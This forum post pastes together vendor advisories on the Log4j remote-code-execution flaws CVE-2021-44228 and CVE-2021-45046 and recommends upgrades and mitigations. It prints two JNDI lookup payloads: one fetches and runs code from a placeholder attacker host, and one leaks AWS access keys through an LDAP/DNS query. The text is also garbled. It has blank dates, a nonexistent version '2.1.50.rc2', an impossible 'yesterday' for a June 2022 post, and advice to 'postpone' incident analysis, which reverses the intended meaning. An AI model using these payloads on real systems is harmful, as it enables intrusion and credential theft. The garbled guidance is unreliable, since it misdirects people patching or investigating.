Apache Log4j utility zero-day exploit (CVE-2021-44228) and (CVE 2021-45046)

Started by nick_sinigamy, Jun 24, 2022, 01:24 PM

Previous topic - Next topic

nick_sinigamyTopic starter

Cloudflare published a blog post regarding a a zero-day exploit affecting the popular Apache Log4j utility (CVE-2021-44228) which was made public yesterday on December 9, that results in remote code execution (RCE).

Cloudflare says this vulnerability is actively being exploited and anyone using Log4j should update to version 2.15.0 as soon as possible. The latest version can already be found on the Log4j download page.

The company deployed three new WAF rules to help mitigate any exploit attempts, and they have now been configured with a default action of BLOCK.

More details on the vulnerability can be found on the official Log4j security page.


CVE-2021-44228, a critical vulnerability that's affecting a Java logging package log4j. If your organization uses the log4j library, you should upgrade to log4j-2.1.50.rc2 immediately. Be sure that your Java instance is up-to-date. The log4j package may be bundled in with software you use provided by any given vendor. In this scenario, unfortunately, the vendors themselves will need to push the security updates downstream.

DirectAdmin does not use Log4j anywhere, so there is nothing for us to announce or fix regarding CVE-2021-44228.

The cPanel Solr plugin is the only software provided and supported by cPanel that contains log4j. And they have published an update with the mitigation for CVE-2021-44228 to the cpanel-dovecot-solr RPM. If "dovecot-solr" is not installed, no need to worry about it.

Plesk does not use Log4j, perhaps some 3rd party extensions might use it. Verify the package installations and confirm it. check reference here

Don't confuse with the name "Apache Log4j Security Vulnerabilities", it is apache foundation/organisation only not the apache web server. The foundation has a lot of different software projects under it, including log4j and the apache web server, but those are each separate software and this vulnerability is in log4j.


A critical remote code execution vulnerability in the popular Apache Foundation Log4j library continues to be exploited online as organizations try to fix that widespread problem.
If an attacker takes advantage of this, he can completely gain control of the affected server. It can be used in default configurations by an unidentified remote attacker to target applications that use the Log4j library. This vulnerability, tracked as CVE-2021-44228, received a maximum score on the CVSS scale of 10.0, and many believe that it is easy to exploit.
Apache Foundation Log4j is a log library designed to replace the built-in log4j package. It is often used in popular Java projects such as Apache Struts 2 and Apache Solr.

Similarly, that library can also be used as a dependency by a variety of web applications available in corporate environments, including Elastic. Cisco Talos believes that due to the nature of this vulnerability, it will be widely exploited by attackers moving forward, and users should patch vulnerable products and implement mitigation solutions as soon as possible.

Vulnerability Details

This vulnerability exists in the JNDI component of the LDAP connector, which allows an attacker to get a payload from a remote server and execute it locally. Several concept checks and step-by-step vulnerability guides have already been published. This vulnerability can be caused to receive and execute a malicious class file. It is located in the Java Naming and Directory Interface (JNDI) implementation and can be started using an LDAP query, as in the example below.
$ {jndi: ldap: // attacker_controled_website / payload_to_be_executed}

The POC can be found here.
Information leak

CVE-2021-44228 allows an attacker to create an LDAP request that can extract and run payload on a vulnerable host. This vulnerability also makes it possible for information to leak when an attacker can read and extract data from files and environment variables on a vulnerable host using an LDAP request. Such LDAP queries can generate a DNS query with leaked confidential information for applications such as AWS, Hadoop, Postgres, etc.

An example of the jndi search format that generates an LDAP query that leads to a leak of the DNS query values AWS_ACCESS_KEY_ID and AWS_SECRET_ACCESS_KEY:
$ {jndi: ldap: // $ {env: AWS_ACCESS_KEY_ID}. $ {env: AWS_SECRET_ACCESS_KEY}. <domain>}

(Multiple environment variables can be combined into a single LDAP query).

Additional vulnerabilities

An additional vulnerability CVE-2021-45046 was discovered in log4j v2.15.0, which makes it vulnerable to attacks in certain configurations. Log4j version 2.16.0 fixes that vulnerability by disabling access to JNDI by default and restricting the default protocols Java, LDAP and LDAPS. Please refer to the "Mitigation measures" section for more information.

Most recently, CVE-2021-4104 was published, which indicates that in certain, non-standard configurations, a similar vulnerability can be activated in Log4j v1.2. Vulnerable users are advised to upgrade to log4j 2.16.0 to eliminate that vulnerability. Please refer to the "Mitigation measures" section for more information.


Current management

Despite some confusion regarding the growing number of vulnerabilities related to the original Log4j security vulnerability, our advice to users and network defenders remains the same. For the largest segment of users, JNDI represents an unnecessary risk, so we suggest disabling this feature so that that threat surface is inaccessible. Therefore, we recommend upgrading to the latest version of Log4j 2.16.0, which disables JNDI by default.

Log4j 2.16.0 is the most recent patch released by Apache. It fixes CVE-2021-44228 and CVE-2021-45046 as follows:
Disabling JNDI by default and limiting the default protocols Java, LDAP and LDAPS.
Require the log4j2.enableJndi system property to be set to true to allow JNDI.
Complete removal of message search support.

Talos encourages all customers to examine their internal and third-party use of Log4j for vulnerable configurations and take corrective action. If you are unsure or unable to determine if your implementation is vulnerable, fix it aggressively. Given the risk of third-party devices that include Log4j, we also recommend that customers and partners conduct regular vulnerability scans and engage in conversations with vendors, partners, and vendors for additional mitigation support.

The earlier patch was not enough.
Prior to version 2.16.0, Apache released Log4j version 2.15.0, which was deemed insufficient and vulnerable to use in certain configurations. This led to the release of CVE-2021-45046 to account for the incomplete fix.

Based on the discovery that the original patch did not fully protect against exploitation, some of the previously recommended risk reduction measures have since become insufficient, including the guide below regarding disabling message search:

Setting the log4j2.formatMsgNoLookups system property or the LOG4J_FORMAT_MSG_NO_LOOKUPS environment variable to true for versions 2.10 and higher.
Changing the logging configuration to disable message search using %m{nolookups},%msg{nolookups} or %message {nolookups} for releases starting from 2.7 to 2.14.1 inclusive.

Even though users are implementing these changes, Log4j still has code paths that can be searched for messages. Well-known examples are applications using Logger.printf ("%s", userInput), or applications using a custom message factory in which the resulting messages do not implement StringBuilderFormattable. Other attack vectors are also possible.

A third vulnerability has been released; Talos recommendations are unchanged

On December , an additional vulnerability CVE-2021-4104 was released to fix a flaw in another Log4j component, JMSAppender. Note that this issue only affects Log4j 1.2 when it is specifically configured to use JMSAppender, which is not the default, potentially reducing the concern.
As of August , Log4j 1.2 has expired and it is no longer receiving updates.
In line with our recommendations above, we have recommended that affected users upgrade to Log4j 2.16.0 to reduce this vulnerability.

AppDynamics with the Cisco Secure Application, which is integrated into the AppDynamics Java APM agents, protects environments with:

Definition of libraries used by the code at runtime.
Detecting vulnerabilities in these libraries and attacks by monitoring runtime behavior and
Protect systems with custom policies to block the behavior of exploits at runtime.

Current operational activities
Earliest observed activity

Despite the fact that Talos has recorded the activity of intruders associated with CVE-2021-44228 since December, there are unverified reports of threat activity dating back. We strongly recommend that organizations postpone their analysis for at least a few weeks and expand their search efforts to check for exploit activity that may have taken place long before these dates.